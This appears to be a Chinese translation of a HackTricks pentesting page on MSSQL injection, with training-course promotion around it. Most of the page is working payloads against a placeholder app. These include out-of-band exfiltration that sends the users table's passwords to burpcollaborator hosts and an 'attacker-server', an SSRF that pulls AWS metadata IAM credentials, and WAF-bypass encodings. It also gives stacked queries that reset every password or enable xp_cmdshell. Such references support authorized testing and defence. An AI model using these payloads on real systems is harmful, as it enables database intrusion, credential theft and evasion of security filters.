mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 22:52:06 +00:00
255 lines
13 KiB
Markdown
255 lines
13 KiB
Markdown
# MSSQL 注入
|
||
|
||
<details>
|
||
|
||
<summary><strong>从零到英雄学习 AWS 黑客技术,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||
|
||
支持 HackTricks 的其他方式:
|
||
|
||
* 如果您想在 **HackTricks 中看到您的公司广告** 或 **下载 HackTricks 的 PDF 版本**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||
* 发现 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们独家的 [**NFT 集合**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 🐦 上 **关注** 我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||
|
||
</details>
|
||
|
||
## Active Directory 枚举
|
||
|
||
通过在 MSSQL 服务器中进行 SQL 注入,可能可以使用以下 MSSQL 函数**枚举域用户**:
|
||
|
||
* **`SELECT DEFAULT_DOMAIN()`**:获取当前域名。
|
||
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**:如果您知道域的名称(本例中的 _DOMAIN_),此函数将以十六进制格式返回**用户 Administrator 的 SID**。这将类似于 `0x01050000000[...]0000f401`,注意**最后 4 个字节**是数字 **500** 以**大端**格式,这是**用户管理员常见的 ID**。\
|
||
此函数将允许您**知道域的 ID**(最后 4 个字节除外)。
|
||
* **`SUSER_SNAME(0x01050000000[...]0000e803)`**:此函数将返回**指示 ID 的用户名**(如果有的话),在这种情况下 **0000e803** 以大端 == **1000**(通常这是第一个常规用户 ID 创建的 ID)。然后你可以想象,你可以从 1000 到 2000 暴力破解用户 ID,并可能获得域用户的所有用户名。例如,使用类似以下的函数:
|
||
```python
|
||
def get_sid(n):
|
||
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
|
||
user = struct.pack('<I', int(n))
|
||
user = user.hex()
|
||
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
|
||
```
|
||
## **替代错误基向量**
|
||
|
||
基于错误的SQL注入通常类似于`+AND+1=@@version--`这样的构造,以及基于«OR»运算符的变体。包含此类表达式的查询通常会被WAFs阻止。作为绕过方法,使用%2b字符与特定函数调用的结果连接字符串,这些函数调用会在所需数据上触发数据类型转换错误。
|
||
|
||
这些函数的一些例子:
|
||
|
||
* `SUSER_NAME()`
|
||
* `USER_NAME()`
|
||
* `PERMISSIONS()`
|
||
* `DB_NAME()`
|
||
* `FILE_NAME()`
|
||
* `TYPE_NAME()`
|
||
* `COL_NAME()`
|
||
|
||
使用函数`USER_NAME()`的示例:
|
||
```
|
||
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
|
||
```
|
||
## SSRF
|
||
|
||
### `fn_xe_file_target_read_file`
|
||
```
|
||
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
|
||
```
|
||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/3.png)
|
||
|
||
**权限:** 需要服务器上的 **`VIEW SERVER STATE`** 权限。
|
||
```sql
|
||
# Check if you have it
|
||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
||
# Or doing
|
||
Use master;
|
||
EXEC sp_helprotect 'fn_xe_file_target_read_file';
|
||
```
|
||
### `fn_get_audit_file`
|
||
```
|
||
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
|
||
```
|
||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/2.png)
|
||
|
||
**权限:** 需要 **`CONTROL SERVER`** 权限。
|
||
```sql
|
||
# Check if you have it
|
||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
||
# Or doing
|
||
Use master;
|
||
EXEC sp_helprotect 'fn_get_audit_file';
|
||
```
|
||
### `fn_trace_gettable`
|
||
```
|
||
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
|
||
```
|
||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/1.png)
|
||
|
||
**权限:** 需要 **`CONTROL SERVER`** 权限。
|
||
```sql
|
||
# Check if you have it
|
||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
|
||
# Or doing
|
||
Use master;
|
||
EXEC sp_helprotect 'fn_trace_gettabe';
|
||
```
|
||
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
|
||
|
||
您在使用MSSQL时最常见的进行网络调用的方法是使用存储过程`xp_dirtree`,奇怪的是这个过程没有被Microsoft记录,这导致它被[互联网上的其他人记录](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/)。这种方法已经在互联网上的[多个示例](https://www.notsosecure.com/oob-exploitation-cheatsheet/)中使用,用于[带外数据泄露](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/)的文章。
|
||
|
||
本质上,
|
||
```sql
|
||
DECLARE @user varchar(100);
|
||
SELECT @user = (SELECT user);
|
||
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
|
||
```
|
||
```markdown
|
||
像MySQL的`LOAD_FILE`一样,你可以使用`xp_dirtree`发起网络请求到**仅限TCP端口445**。你无法控制端口号,但可以从网络共享中读取信息。
|
||
|
||
**PS:**这在默认配置的`Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)`上运行于`Windows Server 2016 Datacenter`上时不起作用。
|
||
|
||
还有**其他**存储过程****[**如`master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx)或**`xp_subdirs`**可用于获得类似结果。
|
||
|
||
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
|
||
|
||
显然,你也可以使用**`xp_cmdshell`**来**执行**触发**SSRF**的操作。更多信息**阅读相关部分**在页面:
|
||
|
||
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
|
||
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
|
||
{% endcontent-ref %}
|
||
|
||
### MSSQL 用户定义函数 - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||
|
||
编写**CLR UDF**(Common Language Runtime 用户定义函数 - 使用任何**.NET**语言编写并编译成**DLL**)并**在MSSQL中加载自定义函数**相当直接。然而,这**需要`dbo`访问权限**,所以除非Web应用程序连接到数据库**作为`sa`或管理员角色**,否则可能无法工作。
|
||
|
||
[这个Github仓库有Visual Studio项目和安装说明](https://github.com/infiniteloopltd/SQLHttp),用于将二进制文件加载到MSSQL作为CLR程序集,然后从MSSQL内部调用HTTP GET请求。
|
||
|
||
`http.cs`代码使用`WebClient`类发出GET请求并获取指定的内容
|
||
```
|
||
```csharp
|
||
using System.Data.SqlTypes;
|
||
using System.Net;
|
||
|
||
public partial class UserDefinedFunctions
|
||
{
|
||
[Microsoft.SqlServer.Server.SqlFunction]
|
||
public static SqlString http(SqlString url)
|
||
{
|
||
var wc = new WebClient();
|
||
var html = wc.DownloadString(url.Value);
|
||
return new SqlString (html);
|
||
}
|
||
}
|
||
```
|
||
在安装说明中,在执行 `CREATE ASSEMBLY` 查询之前,运行以下命令将程序集的 SHA512 哈希添加到服务器上的受信任程序集列表中(您可以使用 `select * from sys.trusted_assemblies;` 查看列表)
|
||
```sql
|
||
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
|
||
```
|
||
一旦添加了程序集并创建了函数,我们可以运行以下命令来发出我们的HTTP请求
|
||
```sql
|
||
DECLARE @url varchar(max);
|
||
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
|
||
SELECT dbo.http(@url);
|
||
```
|
||
## **快速利用:一次查询检索整个表**
|
||
|
||
存在两种简单的方法可以一次查询检索表的全部内容 — 使用 FOR XML 或 FOR JSON 子句。FOR XML 子句需要指定模式,如「raw」,因此就简洁性而言,FOR JSON 的表现更佳。
|
||
|
||
检索当前数据库的架构、表和列的查询:
|
||
```
|
||
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
|
||
```
|
||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
|
||
|
||
基于错误的向量需要一个别名或名称,因为没有别名或名称的表达式的输出无法格式化为JSON。
|
||
```
|
||
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
|
||
```
|
||
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png)
|
||
|
||
## **检索当前查询**
|
||
|
||
可以通过访问 `sys.dm_exec_requests` 和 `sys.dm_exec_sql_text` 来检索当前正在执行的SQL查询:
|
||
```
|
||
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
|
||
```
|
||
**权限:**如果用户在服务器上拥有 VIEW SERVER STATE 权限,用户将看到 SQL Server 实例上的所有执行会话;否则,用户只能看到当前会话。
|
||
```sql
|
||
# Check if you have it
|
||
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
|
||
```
|
||
## **WAF 绕过的小技巧**
|
||
|
||
非标准空白字符:%C2%85 或 %C2%A0:
|
||
```
|
||
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
|
||
```
|
||
科学记数法(0e)和十六进制(0x)表示法用于混淆 UNION:
|
||
```
|
||
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
|
||
|
||
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
|
||
```
|
||
FROM 和列名之间使用句点而不是空格:
|
||
```
|
||
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
|
||
```
|
||
\N 分隔符用于 SELECT 和一个无关紧要的列之间:
|
||
```
|
||
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
|
||
```
|
||
### 使用非正统堆叠查询绕过WAF
|
||
|
||
根据[**这篇博客文章**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/),在MSSQL中可以不使用";"来堆叠查询:
|
||
|
||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
例如,多个查询如下:
|
||
```sql
|
||
use [tempdb]
|
||
create table [test] ([id] int)
|
||
insert [test] values(1)
|
||
select [id] from [test]
|
||
drop table[test]
|
||
```
|
||
可以简化为:
|
||
```sql
|
||
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
|
||
```
|
||
因此,有可能绕过不同的WAF,因为它们没有考虑这种形式的堆叠查询。例如:
|
||
```
|
||
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
|
||
admina'union select 1,'admin','testtest123'exec('select 1')--
|
||
## This will be:
|
||
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
|
||
exec('select 1')--'
|
||
|
||
# Using weirdly built queries
|
||
admin'exec('update[users]set[password]=''a''')--
|
||
## This will be:
|
||
SELECT id, username, password FROM users WHERE username = 'admin'
|
||
exec('update[users]set[password]=''a''')--'
|
||
|
||
# Or enabling xp_cmdshell
|
||
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
||
## This will be
|
||
select * from users where username = ' admin'
|
||
exec('sp_configure''show advanced option'',''1''reconfigure')
|
||
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
|
||
```
|
||
## 参考资料
|
||
|
||
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
|
||
|
||
<details>
|
||
|
||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客技术!</strong></summary>
|
||
|
||
其他支持HackTricks的方式:
|
||
|
||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||
|
||
</details>
|